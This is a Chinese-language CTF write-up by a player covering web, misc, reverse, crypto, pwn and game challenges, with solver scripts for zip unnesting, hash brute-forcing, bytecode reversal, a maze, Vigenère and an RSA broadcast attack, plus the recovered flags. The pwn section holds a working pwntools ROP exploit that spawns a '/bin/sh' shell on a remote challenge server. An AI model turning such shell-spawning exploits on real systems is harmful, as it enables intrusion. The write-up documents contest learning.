SWCTF write up

SWCTF write up

By wysng

靶场id:wysng

总分3775 rank2

 

  1. web方向

0x01 别踩白块

典型的游戏题,看到提示超过110分给flag,玩了一会儿觉得我大概玩不到110,于是右键看了看源码,没啥发现,大概率就是前端拦截修改了,于是f12直接来改就行了

上面给了直接按着来就有了snert{hah}

 

Web其他题就没做了,题太难(我太菜),呜呜

 

  1. Misc方向

0x01多看经文

下载得到一个文件,010打开前面有提示rar,改后缀为rar

里面一个加密的flag.txt,一个未加密的密码.txt,打开直接佛曰解密,得到一串东西

猜解一下加密方式,一开始以为是aes,des之类的,后来cyberchef梭哈了一下发现是rabbit,于是

再解base64和url就可以有:we1c0me tO snert!givef1ag , the key is snert s1xs1xs1x

拿去打开压缩包

Flag就出来了:snert{U_U_U_s1x}

 

0x02套娃

给了个文件,根据名字改后缀为zip打开,发现一个加密压缩包和hint,根据hint提示试了一下,每个压缩包的密码就是名字,于是直接写脚本解

 

import os
import zipfile
 
dir = "E:\\google download\\"
 
n = 0
s2 = ""
 
 
def jieya():
    i = "4606.zip"
    for x in range(10000):
        ss = i[:i.find(".")]
        print(i)
        zpf = zipfile.ZipFile(dir + ss + ".zip")
        list = zpf.namelist()  # 得到压缩包里所有文件
        for f in list:
            zpf.extract(f, dir, ss.encode('utf-8'))  # 循环解压文件到指定目录,密码
        print(ss + "解压成功" + str(f))
        i = str(f)
 
 
jieya()

 

  

 

一分半就解完了,好像300多个压缩包套娃,最后得到一个flag.txt,打开里面是

网上找文本加密为汉字的东西,找到了一个网站

https://www.qqxiuzi.cn/bianma/wenbenjiami.php

我是一个字一个字加等号解出来的,最后得到flag

snert{965b76e2890e03c7feddad3d7104b430}

 

0x03高领大人

下载附件还是一个文件,根据其名称加后缀rar,里面两张gif,一个hint文本,一个高领大人.txt,打开那个高领大人的文本,打开看到

于是拿去base64转图片,得到了不知道是啥玩意儿

没啥思路,开始看两张gif图片

用010打开,看到有ee字节,又由于还有一张图片叫eeee以及hint的提示,把ee提取出来高亮

出题人最后一个花括号打反了哈哈,得到snert{tnt}

 

0x04学姐争取的flag

下载附件,解压,一个加密压缩包,一个hint,告诉了前几位,进行爆破

结果如下

 

打开压缩包里面的docx,看到

于是爆破,由于我们已经知道flag形式为flag{},因此只需要爆破12位,之前的脚本解了一下午没出来,后来出题人说只有小写,解出来快多了,直接上脚本

 

import hashlib
import itertools
nums = ['w', 'e', 'r', 's', 'd', 'h', 'j', 'c', 'b', 'n', '2', '!']
for num in itertools.permutations(nums, 12):
    a = num[0] + num[1] + num[2] + num[3]+num[4] + num[5] + num[6] + num[7]+num[8] + num[9] + num[10]+num[11]
    tmppp = "flag{"+a+"}"
    sh = hashlib.sha1()
    sh.update(tmppp.encode('utf-8'))
    ans=sh.hexdigest()
    if ans == "e1682816fa252b9c1241611bdf112cf0c8d93340":
        print("WOW__________________________!")
        print(tmppp)
        with open("./flag2.txt",'a') as f:
            f.write(tmppp)

 

  

 

最后得到flag

flag{j!wcbhdsrn2e}

 

0x05简简单单的图片隐写

下载附件解压得到一张图片ctf1.png,左看右看没思路,想了很久,上隐写工具zsteg,发现一个链接

打开网站(已经过期了)

当时记得提取码就是ctf1,得到100张图片解压拼接得到二维码,扫码由flag,这里提供一个脚本

 

from PIL import Image
res = Image.new("RGB",(500,500))
for i in range(1,101):
    img = Image.open("20223132212371461_{}.png".format(i))
    for y in range((i-1)//10*50,(i-1)//10*50+50):
        for x in range((i-1)%10*50,(i-1)%10*50+50):
            color = img.getpixel((x%50,y%50))
            res.putpixel((x,y),color)
res.show()

 

  

 

flag好像是snert{jianjiandandan_snert}

 

  1. reverse方向

0x01py_opcode

这题就是python字节码,之前dasctf月赛也整过,照着逆向即可,最后逆出来

 

import dis
def d():
    sum=0
    for i in range(0,len(s),2):
        sum=sum+i
        v0=flag[i]
        v1=flag[i+1]
        flag[i]=((((v1<<4)+i)^(v1+sum)))^((v1>>5)+sum)
        flag[i+1]=(((v0>>2)-i-sum))^((v0<<1)-sum)
print(dis.dis(d))
def x():
    sum=0
    s = [1677, 250, 1875, 221, 1852, 241, 823, -125, 1794, -87, 1289, -90, 1174, -27, 1574, -178, 732, -189, 1925, -90,
         1960, -106, 1544, -197, 1646, 185]
 
    for i in range(0,len(s),2):
        sum=sum+i
        for a1 in range(0x20,0x7f):
           for a2 in range(0x20, 0x7f):
                v0=a1
                v1=a2
                v00=((((v1<<4)+i)^(v1+sum)))^((v1>>5)+sum)
                v11=(((v0>>2)-i-sum))^((v0<<1)-sum)
                if v00==s[i] and v11==s[i+1]:
                  print(chr(a1)+chr(a2),end='')
x()

 

  

 

照着网站就行,根据output来搞,爆破,最后得到了flag

Snert{D0-y0U-Like-0pCode?}

 

0x02RE签到

下下来一个exe,先看exeinfo,发现是.net的东西,幸好之前整了个dnspy

 

打开分析

被混淆过,我们需要找到入口和主要逻辑

我直接找了一年,眼睛都烂了,这里冲一下坤哥

如图

找到主要逻辑,看到flag字样

发现哈希碰撞,然后可以根据给出的字符猜字典

上脚本

 

s1 = 'a571e95160348dc5e5be36e1a6062b2be6f1efb7'
s2 = '63143b6f8007b98c53ca2149822777b3566f9241'
import string
import hashlib
 
print(string.printable)
map1 = '0123456789'
for a1 in map1:
    for a2 in map1:
        for a3 in map1:
            for a4 in map1:
    for a5 in map1:
                    for a6 in map1:
                  flag = '3' + a1 + a2 + a3 + a4+a5+a6+'9'
 
                  hsas = hashlib.sha1(flag.encode()).hexdigest()
                  if hsas == s1:
                     print(flag)
map2 = 'abcdefghijklmnopqrstuvwxyz'
for a1 in map2:
    for a2 in map2:
        for a3 in map2:
            for a4 in map2:
 
                flag = 're' + a1 + a2 + a3 + a4
 
                hsas = hashlib.sha1(flag.encode()).hexdigest()
                if hsas == s2:
                    print(flag)

 

  

 

最后可以有flag

Snert{114514turn}

 

0x03maze

下载解压,exeinfo载入,有一个upx壳,脱掉

 

Ida载入

 

进入其关键位置转换为伪代码,然后分析

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[2500]; // [esp+10h] [ebp-9C8h] BYREF
 
  sub_401240();
  memset(v4, 0, sizeof(v4));
  scanf(aS, (char)&input);
  smc();
  ((void (__cdecl *)(char *, int))loc_403000)(v4, 12);
  sub_401000(v4);
  return 0;
}
 

_BYTE *smc()
{
  _BYTE *result; // eax
  int (__far *i)(); // [esp+4h] [ebp-4h]
 
  result = (_BYTE *)IsDebuggerPresent();
  if ( !result )
  {
    for ( i = (int (__far *)())&loc_403000; (unsigned int)i < (unsigned int)sub_4037D0; i = (int (__far *)())((char *)i + 1) )
    {
      *(_BYTE *)i ^= 9u;
      result = (char *)i + 1;
    }
  }
  return result;
}

 

  

 

动调这里,改一下result为0,绕过反调,进行smc。

然后地图生成函数被修复,进去发现有花,还有一个反调函数,我直接改返回值,就会执行主要逻辑,可直接绕过花。

(坤坤之前应该可能大概讲过吧lol)

 

最后一个就是maze的逻辑,改了游戏规则。直接把地图赋值下来走完然后代换一下就出了。

 

最后有

 

# ************
# *o         *
# * **********
# * *       **
# * * ***** **
# * * * * * #*
# * * * * *  *
# * * *** ** *
# * *   * ** *
# * *** * ** *
# *     * ** *
# ************
#sssssssssddddwwaawwwwwddddddssd
s='sssssssssddddwwaawwwwwddddddssd'
print(s.replace('s','l').replace('w','1').replace('a','0').replace('d','O'))

 

  

 

解一下有lllllllllOOOO110011111OOOOOOllO

最后拿去验证一下发现是对的

如图

所以flag:

snert{lllllllllOOOO110011111OOOOOOllO}

 

  1. crypto方向

0x01easy_vigenere

下载附件一个文本文档,根据题目名字,猜测被维吉尼亚加密了,但看到了一些数字,尝试百度谷歌13,1553,1467这些文章中的数字。最后谷歌bingo了

也是介绍维吉尼亚密码的,肯定有关系。

通过对比数字周围的字母

比如

原文:around 1467 and used a metal

加密: seslgy 1467 ith hwvh s ziktg

 

通过比表,得到了密钥snertvigenere,找个网站解密

这不就对了么,这英语一看就是对的,于是复制下来

搜一下snert,flag就出来了

Snert{welcometosnertvigenere}

 

0x02md5

下载打开发现是一长串东西,类似16进制数,观察前几个数,容易发现是zip文件头,写入到zip文件

这里爆破一波密码

得到flag1文件有

313833667a33333634786564373567363461396d663536323470646132343231656465656471

 

然后根据hint解一波

解hex得到

183fz3364xed75g64a9mf5624pda2421edeedq

去掉不符合md5格式的字母,应该只有0-9 a-f

183f3364ed7564a9f5624da2421edeed

然后我tm就去开了个md5cn会员,离谱

Flag:snert{abc1234567}

 

0x03rsa

题目给了三组n和c,很容易想到rsa低指数广播攻击

这题直接是buu原题,而且我做过,尴尬。。

直接贴网上的脚本吧,用的中国剩余定理,不知道的看看基础数论

 

import gmpy2
import  binascii
 
#利用中国剩余定理求解同余方程,aList:余数,mList:模数
def CRT(aList, mList):
    M = 1
    for i in mList:
        M = M * i   #计算M = ∏ mi
    #print(M)
    x = 0
    for i in range(len(mList)):
        Mi = M // mList[i]   #计算Mi
        Mi_inverse = gmpy2.invert(Mi, mList[i]) #计算Mi的逆元
        x += aList[i] * Mi * Mi_inverse #构造x各项
    x = x % M
    return x
 
if __name__ == "__main__":
    #========== n c ==========
    n1 = "331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004"
    c1 = "310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243"
    n2 = "302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114"
    c2 = "112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344"
    n3 = "332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323"
    c3 = "10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242"
      
    cList = [int(c1,5), int(c2,5), int(c3,5)]
    nList = [int(n1,5), int(n2,5), int(n3,5)]
    m_e = CRT(cList, nList) #计算m^e
    for e in range(1, 10):  #遍历e求解
        m, f = gmpy2.iroot(m_e, e) #m_e开e次根
        print("加密指数e = %d:"%e)
        m = hex(m)[2:]
        if len(m)%2 == 1:
            m = m + '0' #binascii.unhexlify()参数长度必须为偶数,因此做一下处理
        flag = binascii.unhexlify(m)
        print(flag)

 

  

 

flag前面换成snert

snert{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!}

 

  1. pwn方向

0x01sign

有个师傅在群里说了很多,说啥很简单我就去看了下,他甚至步骤都给出来了,离谱(说出来我自己都不信,pwn我tm不会,比赛现学)

离谱++

观察发现保护都没有开:

师傅在群里提示过system那个,可以找到main溢出点

由于程序本身存在system函数,ROP链先输入"/bin/sh"到bss段,然后调用system即可

贴脚本

 

from pwn import *
import sys
 
pc="./sign2"
reomote_addr=["pwn.snert.cn",20003]
 
elf = ELF(pc)
 
context.binary=pc
 
 
p = remote(reomote_addr[0],reomote_addr[1])
 
 
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline() 
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
itr= lambda :p.interactive() 
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
rv6 = lambda : u64(rv(6)+b'\x00'*2)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
bp = lambda src=None : attach(p,src)
og = lambda libcpwd : map(int, subprocess.check_output(['one_gadget', '--raw', libcpwd]).split(' '))
 
 
 
 
bss_addr = 0x602090
p_rdi = 0x0000000000400d03
puts_plt = 0x0400620
puts_got = 0x602018
gets_plt = 0x400660
sys_plt = 0x400640 
pay = flat([
    'a'*0x38,
    p_rdi,
    bss_addr,
    gets_plt,
    p_rdi,
    bss_addr,
    sys_plt
])
 
ru("Did you sign in?")
sl(pay)
# puts_addr = ru7f()
sl('/bin/sh\x00')
 
 
# lg('puts_addr')
 
src='''
# x/10xg $rebase()
# b *$rebase()
'''
# bp(src)
 
 
itr()

 

  

 

 

最后flag

Snert{6ab513b6-8c63-454a-a679-850c096c6d3f}

 

  1. game方向

0x01图片就在下面

加后缀docx

Word操作

Flag:snert{it is so easy!!}

 

0x02经典花活

看题目附件名字和描述,打开压缩包一个vbs,估计里面写了个shutdown命令啥的,直接用记事本打开

一堆加减乘除,一看就知道ascii,word整理一下格式,直接输出就行了,flag在最后面

Flag:snert{HaHa_It_is_Funny?}

 

0x03base64

直接解base64

snert{ce69016bbfd5e489b5aeb1764dd1642a}

 

0x04fuck

直接控制台运行

snert{8d795ac3da28ca32d1b5345b97ddbeb0}

posted @ 2022-04-25 23:40  wysng  阅读(237)  评论(0编辑  收藏  举报